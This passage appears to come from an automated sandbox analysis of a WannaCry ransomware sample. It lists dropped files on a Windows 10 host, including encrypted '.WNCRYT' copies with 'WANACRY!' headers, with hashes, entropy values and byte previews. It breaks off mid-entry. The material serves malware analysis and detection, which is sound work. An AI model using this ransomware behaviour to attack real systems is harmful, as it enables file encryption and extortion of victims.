                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WERC09F.tmp.csv

                                    Download File
                                    Process:C:\Windows\System32\svchost.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):81282
                                    Entropy (8bit):3.0171970119030336
                                    Encrypted:false
                                    SSDEEP:1536:1d63m8Ty0+js0JvahSNVNpm5nDVZ5vRSWwH8/vN3w4A:1d63m8Ty0+js0JvahSNVNpm5nDVZ5vRO
                                    MD5:ED6C9D4544B19A51DAFB385F6C7278E5
                                    SHA1:C7A57E75BFE4793F3D918D9C19F75849BEC397B7
                                    SHA-256:D9D96258360D9FB7E922CD3364521367B66B8FC1553525D0D285BEACA2AF2163
                                    SHA-512:6826D67653A2946C068BA05C270B4A431F6CA5AC5242B6F39EB8ECD05B67FA6AB43EBCBBC40AC044647B761682C74710252465C526B10C3D257C2327F165320F
                                    Malicious:true
                                    Preview:I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WERC09F.tmp.csv.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):81576
                                    Entropy (8bit):7.997544778077971
                                    Encrypted:true
                                    SSDEEP:1536:mQr84EmpArQMRLIpkNSR/bbecu+FVs4Oe8XRUdWH0lD4N9V40WCzWpDRk57nj+3v:xr84rpAUMRLBgR/HeZcVs4Oee0lD43+X
                                    MD5:C8B2963246706F4079A0D93FB50D8F32
                                    SHA1:6629970DF035514A43979D45B928D6BA19E8F03E
                                    SHA-256:A29768E2AC58FA39ACC2AB0DA6BF4E59CBA7754AC7A9071DEC1AC1D6431F6B52
                                    SHA-512:0A34CC11E85E2F057429CE67C6B1A6498CCA26CD2C8E7926B436984EFDF15BD90FC6E6C81092857B09457498AA5E5C3BC8846A7C8D91C80BC64A12340A981B45
                                    Malicious:true
                                    Preview:WANACRY!.........F..&|!.L....V.E.C`....c=./,...\...D4J?<......I.H8q....SFS)..:.!.5e.os.OF...o..1p...b..#=...C.k......IU....i....1.{.:%.......\^^ZC_.Y..&.?/.b..........d.+..=lacE..CAr.g....-.2.c.k......-)......7H! .7v..G.6.4....l..."..<z...dB..y.}.`.R..C^.....=......hW..C..:X.t@..?.f.y..l.7..mN..F[.8h2...[....o.R..!.7...]N.P...[.@..Q..'.y4K..E.<..m..=..A.0*<.%=.].Sc\.!..I.b.X..y....}c9...3..y.QY3.:C.{.M>.{.....$T...b.c....d..|..,..G....M.N.B`..j.Zsc.g._".|4.&...Iw...(#.r....H7Ej....,e.....o .....1}.gus/....S...i.%.....?...x.k+.f."Apv~..c.....h...v.....&(.......P...e..E/..t...k#N..B.~%........#aN...*7T.S.+..Q9.....h...y...C..2VF....0....c..kF........).S....:.Wz.4r..1....N....N..kR..o.{.$q1...0y@..Ye...F.}..|.h.cp.5.........>6fR.../{..!...l.P.X.]U.."! ..w.;^q.'.5...h..}..W.[Zz.k=m....D../...r$9...`A..c.BB.$HWg.j-...5.....N.JFS.=.kyX.!....ss.J..A...PD..m.....%...#.s.C.{1BrU...\.)....,......Px..^.......... N..>..h..)x.1...'.b./!;....

                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WERC12D.tmp.txt

                                    Download File
                                    Process:C:\Windows\System32\svchost.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):13340
                                    Entropy (8bit):2.6868829709332354
                                    Encrypted:false
                                    SSDEEP:96:TiZYWw0VmJRMFYPYs+WkHHUYEZhptEi7zFSvwrEz+PaB4AMIdxTItt3:2ZDhfoBLaCPaB4AMIjctt3
                                    MD5:DDA37744ADFCC14D5CA2E751AFE9E287
                                    SHA1:5C0C8AC47E57EFF5E9046E5CC78E85EF827F8C6F
                                    SHA-256:966E9AF1CC402F6D7ED5D9032E5CA5F84D666E98070A0C01AFFA951E495FD1B5
                                    SHA-512:31149D1E912F863E6F814653FB68464B9B56D14CE49DC828E054936EA55522C722B71A8789996DCC4E9912536C229109A3797A535726C46A70BB2C03FCE76E3F
                                    Malicious:false
                                    Preview:B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WERC12D.tmp.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):13624
                                    Entropy (8bit):7.987793579401389
                                    Encrypted:false
                                    SSDEEP:384:L1zT2R6GGPO8XwOnFJUb0k12kUfnIjzq8AOw:V6R9G2QwqtkwkmnIjm1z
                                    MD5:620ABBE5BEA6A0BA1039FF652F39229E
                                    SHA1:9D179A95D3FA8037224E70335A09532B94731210
                                    SHA-256:049E9C4995382B6E8FB71D7E6EB8A441517D34F0D0B9911D8A894C34E1886772
                                    SHA-512:890415715E15B51DAA05C5353E8F52E614643FF693E4609961C2614ECEF92CA929807801DC84708C1AA925EFC14E847D249DC16A8A6125C73498CE0404255263
                                    Malicious:false
                                    Preview:WANACRY!.....V...0..,.|...nK..o.*......X.5...\....w.\....2..../R.5_... /...@.9-....x;g.[..n..@.S....2j...V.......A*%..$........uD.....WjO.F`5....v.-'..&p.s..A.R.....y..9..O...f......yO..f.e.c/h.".....B....ThU.4%....[....-=k:...<.f..? .K|......q.'QB.p.X.B.....4......4.].......&.....@d=MRlk.}......^.D..];bXv....v.W7.E.a.V8...Y]j....B...T.......H..|(.bQ..!rA..O.C@.........!..c...].O`N.. ..Q.7..y..t!..k.z7.......&.......'..}..4..uXD.=.%.i..Y......I....p...h"...x.X.....1!:vMv.3.......|.S.9.Q-...Q..\.*._.X..y.Y.....[.$R+A'...A.eC....J..h....a...B.L.I...Z...5.l.C.......!K.d:..q....Z.G.....4.@R.0.S..b.'.rN"<..6..x.7>...=.t..4|.~.1.c.j3..}L...OY.B...if1.0....%[......4...5.i.......w..."..R..........S...GM>........:X.7.Dd*.E. @A."x.....8..d.\..........`Y..-.t..jH...........Z._'."......|......2M8..~.8.j{.........{.../.....DF*.9.hp\..'..#'/.||CbHsf.-....RN..Y.j3..U...w.h...n>I.....U....e@.V/.2.~PS.E....Y)*...<.g..v.f..r"w.....4.5..B.~

                                    C:\ProgramData\regid.1991-06.com.microsoft\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag

                                    Download File
                                    Process:C:\Windows\System32\svchost.exe
                                    File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):999
                                    Entropy (8bit):4.966299883488245
                                    Encrypted:false
                                    SSDEEP:24:Jd4T7gw4TchTGBLtKEHcHGuDyeHRuDye6MGFiP6euDyRtz:34T53VGLv8HGuDyeHRuDye6MGFiP6euy
                                    MD5:24567B9212F806F6E3E27CDEB07728C0
                                    SHA1:371AE77042FFF52327BF4B929495D5603404107D
                                    SHA-256:82F352AD3C9B3E58ECD3207EDC38D5F01B14D968DA908406BD60FD93230B69F6
                                    SHA-512:5D5E65FCD9061DADC760C9B3124547F2BABEB49FD56A2FD2FE2AD2211A1CB15436DB24308A0B5A87DA24EC6AB2A9B0C5242D828BE85BD1B2683F9468CE310904
                                    Malicious:false
                                    Preview:.<?xml version="1.0" encoding="utf-8"?>..<software_identification_tag xmlns="http://standards.iso.org/iso/19770/-2/2009/schema.xsd">...<entitlement_required_indicator>true</entitlement_required_indicator>...<product_title>Windows 10 Pro</product_title>...<product_version>....<name>10.0.19041.1865</name>....<numeric>.....<major>10</major>.....<minor>0</minor>.....<build>19041</build>.....<review>1865</review>....</numeric>...</product_version>...<software_creator>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</software_creator>...<software_licensor>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</software_licensor>...<software_id>....<unique_id>Windows-10-Pro</unique_id>....<tag_creator_regid>regid.1991-06.com.microsoft</tag_creator_regid>...</software_id>...<tag_creator>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</tag_creator>..</software_identification_tag>..

                                    C:\Users\user~1\AppData\Local\Temp\0.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.815038351321668
                                    Encrypted:false
                                    SSDEEP:24:HNK7G/F07gvZ1h0zCBhLfV5C4bj9IDq0V5OLhfBy8pVX67nIr:Hwcy7GZ1hsyfV5RbZIDq0V5CPDVX67nk
                                    MD5:6E86D044EB497D1D32BB70578E44E001
                                    SHA1:03671332E608D4697B4F68946A4BD77AC3ECBA41
                                    SHA-256:901E5F0955198AD9FCC2B48BC35CC1D489B5DB21FB1D156A2E8274D2013D153C
                                    SHA-512:3400CC17799AC8F7B5B160DC53EE6A16F92CFDF7B2500AD4C629189E6D7820DC9DB0B64238D86BDF8F8B12DC09282FD51E4A7509FADE3F345CF15717A109DB0B
                                    Malicious:false
                                    Preview:.2.H-....&....PI1.-y....+z...........'a:V...e.J=y.KB..7P.d.^N...4'.HZ...44..b6c..'.Nz..n=.qk.........[x..+e..I...........d],.SGn..D ....$....6<...$..........Wb.9..(....n.8...s`.......\=...f....CU..Ln....q.)i..2F.p6...i.J.Z%..Vq..)..L.-....`...Z_W%.u..Kl.....A.3.?W.I.."..8......./"..I?-...(.....X...7....I.....Gv...S.A9.Y.s.D;......B.4s....R.9.jqC....:...;n..wJ./A.K7Rr........n...:.df.G...r.n<..8..Q...1.(...].mq......Ft......T#'..&.H...x....uw>..6~A.`.9.7UV[......j...).nX.7Yuq.!...YC.i.....WF.B<...r.\.G;]"..W....o.R.{..w..........!).N..6t.....m...Z.......F]....C.0.P......U...#...E.(Q..dT...%(.$R..!..."Rq.R$l.@_..z.R:e..|{....w.....y.b..i+Y..{wE.K-..........e...kN.Z..y]+.Y.:..OJBy.&G.b.u.... y....L=..........(.......l=.#.}......L.0..*...'.;<;..<..[G.h.."h....~i6.|..8..9J...R[............rfS+t.LP.$.`e2..<..m.q4/...t.E..My.|..0J<..2.bo..^.k..x.:.hM..sa.u....v...i.e...GV.A...{a....L....Y...C...oZ..f...U...7....N..t..C.....Ab..!.Jj$...4.A..!..

                                    C:\Users\user~1\AppData\Local\Temp\1.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.8134869225467805
                                    Encrypted:false
                                    SSDEEP:24:74H9BuvcVBpINNzen2cdfAc+NmCJZoHYJWX+enpKtd/KDVkcx/bIkdFd:sdUvclISnJA/yHY05+mbIkdH
                                    MD5:796F6F792CE5339E1BDF4399EEE35234
                                    SHA1:881DEAAED824449372B706C0FDED7D1E3B938330
                                    SHA-256:904B37FE4391A2C6E4A0FBCDF5436B4424625D627D88500DBE1D1BB40E9ECD5F
                                    SHA-512:605D83D172928FC69EFB0F24AFE7143BEE3A58F31BF0D81F08CD69083CB2C87B4D8F55480ABAF5AD7900092442E967ACEB1BEF13AC70F9C02673E8E0AC063FE6
                                    Malicious:false
                                    Preview:.{.......WK......d..31........s..'...Y.4.(>k.s.B*..7e1.+...-<]Wm.'AO./....'.`Z.P..\.XT.2...o...D..[......q...O24.mC.....{".j...&..R..e.q~..C...I..[$.c.Y..H.ipq......nm.w....sD...M.&.....?]...(.?.*Nb.1.D....o...4;.s.[)..#e....-^cIc..b.4Ot....<..[..hM.K..N..O.f..G.mH....FG.)......v.m+hY.1KjJ....}....TX..{a/.Jn...s...O.3..X6.$Y.+...EBy.{..Li..[(m........q.g.\.Ql...Ex.j. w1...kFq.....&..nT.>.N..._.(G.........>~.a:...Zie!l..(.~l.R..f':*.;..0.....w.c...Z..W...Mw"r..L.J.J....&..z-..M.D/M.9.C....g.c...kM.....h...p..q'...p.!^&..?.:...b.9...K....;0)..`.-.......x.Z.o.F.>.0Ck..Nn...K.....^..XU...=..]...._q.?.T.V.....<.XkU...K^..........X.....V...}. .B...$5....K.u.. .u.....G.Y..4_=(....GC.fr.......xMm.........h.x..a&....'...E.X..I.4..#......gpmF...H..l00..+.Z.....5y..CfF.km......54.|...U..L.Y.Z...].'..Q.RV....4....J(....C../0....~5d,.*...Z..c...'h.Gz......jl1J=.4.$,..R..."W.!`..9.fx.h&._...c[.O....2.].{.....]9G.`...h}....M.]9...o..,..XSQ.?R

                                    C:\Users\user~1\AppData\Local\Temp\10.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.789387042361879
                                    Encrypted:false
                                    SSDEEP:24:3aKD3tOkT8hz8CLWQb5u5TAserrJ2V9mYBL3TanL/:rDdOaCSQb8Ttqd2HmkHCL/
                                    MD5:67FA5058809078D0C00F70686848EE1D
                                    SHA1:B1BA4040335ADE6EB272FB01102D61C4E2451D62
                                    SHA-256:F322BD92B53772BAB12FE60D48D40853DD1A2DB5EE1CF439ED5BCD709AC186FE
                                    SHA-512:BA9428D21AEAD928ED4C5A2796C146079481A3C9C7D4757BF36A0CF65C3C4A392A103B1722F6B2BE95330E6EA34E847B751D61560BBCB04A4D0FDB17C3646DAB
                                    Malicious:false
                                    Preview:...R..*J....i-.....O....@.R.zh..?[..pT.Hq..,.....8....3.4,.Q....l../F ..,(@".^.=..t..f.A....h.|..0.H.4.3.Z......[..T...h...z...Y.=8......!......@....."..B..y...h&G'.+..2.ya..Q....9......n.. R.O-..qU.kTR..f.K.jX.L..x}{9....=.!9%......^....4.gVD..>]t..3..>.2]=.r....w.A..=.....vg{.....I..Cy.J..X..-...8...x3...~+.......~.VZ.8;.....X..BPq.P..R(.....q.^/.c.:.@_ ..k$F..KJ.."0.........O..w]W..am.[.O.[[.<..J2...8........T..WSR.`G.B.....I.x.K...Y......,..o*"...l.6.D..#....!.%.....]O.. .7.;X...y......yW.......j8{A.n0a..|...j3VJ..#v.qSt....z....#....G..N..&.6..]8..,......}:....j..,...Ga..S?.....[GP........z...5.f.....5..JM.....6Y.?.......f. ..P?Q...x....[.3...w#.6`.e....).._|?.2j..u.5d}.7........O.@KL..=....|..8.v.)....P.v..6y.>.f....M>.....qQv.......O..A..n....q.>.!K.....W{......r.IX......T.x...#p.O..KC...).[...y`.m{.......h.H.4..(.@..^..@.@.Zg.<O....t. Q./..M........dL.C..>.K...-4fV._i..b.....j..,8./.I.U...0..X..].K.l.zw.L..2......2.c>....8:.O..

                                    C:\Users\user~1\AppData\Local\Temp\11.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.843270556168878
                                    Encrypted:false
                                    SSDEEP:24:c8Z1gbeo1v96CW4/zOV4/OksaBEANNzJkH8prR73I7QnBoNQv:c8Zabeox96VIKV4/RsYEQtfXI7hA
                                    MD5:5DA8FE96EF245A02EC3391739D92AFD8
                                    SHA1:0F4B62E721AD408E04C8D2AFCC1DCF8B457F8FDD
                                    SHA-256:48FD3DAC40C3B9B1F9425DD38D183B22D7008EA8F5A4FC86602A260F7FF5073C
                                    SHA-512:0066446EC890E20FB35C4B72EEBE55F2A9BF0F90D70CEA7491F7DB77BB5FEFBBF9648553C56B7B92E1A3229129A89C5C4A8202144615E1F7192E06F92BC66D9F
                                    Malicious:false
                                    Preview:W.j..........A.;.WR..t.C.Q...R.+.;.{.HG..F...`.@...'.......-..Z.....0oW.b....5.........=..?..w.!.....*Jg=...8..:.a.V:.Bc.l..1tX4.w...S....nS)......(..%..&Q.}....O!..H#_.2i'3Mp.2.1.m......P.S..d.bwc. Fo..-..%....I...Z.;....B.....:....lk..H*.0}.;...b*.lY..2m.Jo3M.y.........^3.MS....C&....g.~"...(U.p.y....}.OB.lG.....,......koG._.o.4..1<..b,|r..S^..t~.......|sj...q.w..~.{f....12...hZ...v[..7Y.i......f.xP...iPU.Qs...a...@......."...h4.. .L.F.v.3a.G/..\...pw[c.1].8...f_.L..Y.Y.*...9.i:.}`.f;.L...@.jW.t...5..~.d.......&..6.GtWv...Yz.Iy?IgX.L._..i..x...'LU`...7.".NX.J{IN...G..}.....i........j..yCK....}....;S.Le............*}.E:..>gZ._..Z..=p.)......PP..b.$....$.z..u.......vB......g.3.t.m>....7]&..M.........$...A.Z.T...1.N.w......E...k.r.....6i.nf.#OKh.x.-.p.O.0.Ig9.=.K?.?.I..Q5... ...w.W.....g>YL!...8......v*..js.FmL......X.i'....K.z..B......D4..Q..f....k<..)$q.B.&t....A..Y./=.....[.....Ep+..~.......... .......^......~Rw^^=N.G..Mm....p....#!.....:

                                    C:\Users\user~1\AppData\Local\Temp\12.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:370 XA sysV executable
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.82777324417906
                                    Encrypted:false
                                    SSDEEP:24:ombKiic5v8/2FUp3KVLaFaE+xgy0r2Fbi3WdsL1jygwVjgGs:ombKHC8uep3KY7Kgy7Fb4L1jygwVj8
                                    MD5:CAAC296A44CDA9994C342D5A9A89EC6F
                                    SHA1:6C44841DC99A6405F33C403E6E0793A7B3E1D549
                                    SHA-256:1B53FE958DD5196099D46291737182DE7DB37C4B7ACF77D647B3C43F7E9A5C77
                                    SHA-512:2B3473B28895771CBC830BE4067E26C38898B5F25B89A8EEE1829B17C10AAB116358AD7963FD0E95A5FB979FD788FA72AB9F633C835880DDB6B05804B9A7FC0F
                                    Malicious:true
                                    Preview:._._..kiX.O.....H%..-...........G...ii..^vP.6..n4...\......n*.B..SG..#H1..}...ThE.?~.....6v.]k....+..HR,........g~9.d6..j...|..\E...e.h/.lYpn2.qh....v..;..S.H......>..G j.J.3w5A..........._......DN..P.o:._.......J.>...zR:J\.7].........4T?.......Rl.(.....0p.~......|.%i.!.......DC.f-..G.z.s..S.>^.8?.[.)t/..&}?....>..H.....K. .....6..Z...'..b..H.....h..Q....8..........1...]..<....Me..)q.. ..7.g.2...;...=G&U.g.4f.7..b.9.76.j......Ui.BI..E.|...9..y...I.U..<.i.2.q.O.q6...z........H.c....YI;O&~...Q .h...y`0...c.>.U<.%.0..I...X..&>.kA...5].4s.*x...1+.{5N...2!.3bP..........*8.3..{Z.....$.R2A..,..f..Pp..[.7....Z.N~..]..4..0...T...r..c....}...7F.x1P...I.4.......sg./y....W.P.j..a...n..w.......%&.P70O.\.!.....V...i..0..).;..{p#Y.l.."J..b.{?.xa...9...".1+..M.J17R..8..$T..*H.zEP.|L....._.F'..'^.R..Q.K.z..%...G3..X.....-f.G..!.e.8.........F...#.?.:.......p"Ig.H.]K.[.>.`...70.L.h......X.`E..$:.*y#p(`.xnl.... M.}....[.X......*I.I.......}...0..<.jy;p.....Y

                                    C:\Users\user~1\AppData\Local\Temp\13.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.809067294819806
                                    Encrypted:false
                                    SSDEEP:24:iJDP2Xy6V7SZqe0pbSTLgrIEogeasn7FjTK/2Wp+EOZRUup:SDP2jJSZwSfTg8FjOhM
                                    MD5:5F4842F7D6FF02C5F15BCA005E640107
                                    SHA1:D679830A766C8295399395969E8978627025AAF9
                                    SHA-256:7E85E6A88F3B3F4C163DC93B427E585D251684246F3227CA9C1B0515524E73C4
                                    SHA-512:C73EE22B3684DD2266A60C3E4C82C5028F93AACA8DA413172F3AFD5A55816D0C77B2ABACCC9D085A293422E9CDB7337A15C748A1716B2BA3F0FD88E58F804D71
                                    Malicious:false
                                    Preview:G.-....R.(R....<T....4....s..~._JuU..56.2z...,N,..B:.n....O$V..&1.. }%...."..>.|.....>...,.....}.....8.I\....vL....OG...l.>....x....oR....E$....S..bAZ.}.N...|k<...X.@....Ut..b..8.`.N.C...<...v^...Q\.j..Hp..+T5.f.#.q.T..@.`......f_..f.....<K...o.A.$.xf..E.IBvpO.....y.h....f.....T6.L.m...;^13...>";...... J5...V`K..{..F....B...+F;...'.g.[..< -'I.W.a[..^...>0.5*.M.......=. .c.....O.N:/...&...H..~...Y.ug6l....t...D..!='..L9iT0..#Nw....1.x.B1b..B.".q....(v.P...z.7(....CH............o.F... ...`:.o...h] B...]NA.^.J..9u7BG..QD.5G{7..Y.,.G.].PV..I..~.o.l..`.<...>.3..._.lX.0.p....?..}/.....E.....*6FZ..G.S....4........k.w..q.q..5..o:IQN..z.......4...h/@C.y&/..6.4....:.^*..*.4#<....H!.C#.D.&j..z.aTk.!...bz..8.M.D.9?.OX|r. ....L..G.K..N..pe$.S+unYC..7,}_.#p.lQIs.. L.ng...E.Q.9.P...On&@z..l<..k.Q..>\.w.T.`}9.]'.Ug.>...4..tp.O,.L...~.!7...@z....e"....e.......w.S..k...:.........p.../.H..f6je`].d<.(.O4.-X.3w.....[.8.y.%T...BO..6......v.\m...e....

                                    C:\Users\user~1\AppData\Local\Temp\14.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.77908605636283
                                    Encrypted:false
                                    SSDEEP:24:4alvsvLj6Xar9ahcnZaKCWE0nPtx7HkTVJU7N5ie3ffG:45H6Xoah+6CP7dee3ffG
                                    MD5:EA306914D91662483B4BA0364E143935
                                    SHA1:E13AAA0EEED193AAE5B99F07D692B61AA0D8B0ED
                                    SHA-256:57A5B1BFEF910CF5E47C7F3EBB4A910A97EA82E4B9862D6B8410D93DDF3AB4F7
                                    SHA-512:BB098E7EC29F1925A45FC9BFC89FA619D70794CDFF4A6483451C9ED35D4446DDEA4CBACE6E5B81C3B2E4C17CB3ABF7CEB434E5FFFBC1412A946752BDCA264A70
                                    Malicious:false
                                    Preview:..E..t...;y2X.*....r.....2V..7\.X...2]..=..cl.........D.=....5.<.,..D..rG./<..f.R.ZqmI|.N.......HZ!...f...Y.......fvg{1..2X.^A.W>...l..o....H..n..y...HQ..?..A........}.(S..6(U..H~.>o3.......EL.R.| n.iP.B..I....O......xO,tr^.o.]. D-%%..".#....%4.m\..|..6Y..8G.T.O.. 3.E..\.'.a......c#k..h.nXA.*.....R.$....-\.X.j.&.%.o....l.pe}...\].'G..#Sa...]$..vf.N..p.......r..c....ZZ..P._A......;Mk.e.U..^...f0..cv....y...B.]..g.YE..a41..w.k.........w..@d>.`...(R6.Q..R......tU...W`.e<.{Z...+.6..._hE.I*.4.V..y...@.&..YP9?0..."..K.....K7>..<..M.' ...O....G|..!......A..O../.i.g....k....1$........u..{-|w.a..VF.q..DV....F...u..<F`..\...),..r.#.....uzB;....Q..CEp...%zvm.>.o.-z...........D.O.Mj..R.;.....[..hp.N.v.....%.P.y..... A.Q..*Y."....$9.D|l.wR().v..MHt_n..&f>.p..d..~...#.4a.Vb..4......>..4.."....N...1.._GW:.!>.|r~..^....O.X..2l.<...U...k.;".....-5$.x.$ +.o].o...al.CL_.y...C.g.n|Z|fW.w..g._p..8..R..'...i=........1...0..l.2.j.Hj1&.64G..O..O....g

                                    C:\Users\user~1\AppData\Local\Temp\15.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.815969088323863
                                    Encrypted:false
                                    SSDEEP:24:+lg95abr3l7nCSa6sD/Jx0GwsIO4fTnBfBa8KUVJw:++5abRjCdJD//VCOWB9KZ
                                    MD5:CA60D7F8D8729FBFAC6CC99B9A3FBC7D
                                    SHA1:46B3F6673EAEFFCD3731AA006ABB0B589B11E30D
                                    SHA-256:02DC83C9642D61ED29F2828A21C2551AB36F135AE3CB38A55F04B741E53E954E
                                    SHA-512:D98C5FA0F188BCCC867A1522F3311D12737F65D0C4897FDCD9728272016DB0D6ADF7BD456617607F62C50C5CD5E53FE0F2AD0BC36258F1B81C37FABFCC43090A
                                    Malicious:false
                                    Preview:...D......[.9.C,gN2#.@EA....|"......@T.."...1.7.L\.Y..k....O46;......-..8P.P....W^....y....yg.Y4.....'9..P.R../..[~A.VH@..">z.C..QU-I......?.K...g.....M.?1.>..U.<t..x.$J.......~CN`.U:....I.@.:....4gX./.....V......UJ.u...6Q.......0.H..6h....Hw........7...P<f......AY..*.z..(^.u.+QT1....zL........n".G[.5..a:_........Q..wm..8......c./..I.\..>Rk}=i..C..l..8.l.d:<.U..!..U9O*.kQ)Z..w$.......=~..)...N...EO...4...S1&...m .X.Q`<..GDt......../]t3...Z......Jy[.:.n........F...#4X!8..Hk...g..V...gJv....:...I*....H...Q......$.6.P.J-.....w...}.._....PI.F....|..f....-Z.Y...J\..A......k..1.[X....g.r..8.|.E..aU.-..pJ.........f.Y....1g....".u......MT.-m.......f..JgH..1I3...........%..W.k...&.~H4.*..u%.g..H...%._.G..Z.s.+..-x!O.....$..e.SG.&.R..5.l.*j..]..,..$...;..m.3..r.Hx.R.G#V.y^.I....ak....Y..F3,,`..p.Z**v...(.V.h+...f.'85.S.....X...35.e.0U....q..|=..r.8..m..1#.M.n.....T..vl....-...v.g...(.v...y..'..".8..Z..Z:>=...B.^TSs.!.@.U....P...v.&fv'....ONo!.....Nhe.. z

                                    C:\Users\user~1\AppData\Local\Temp\16.WNCRYT (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
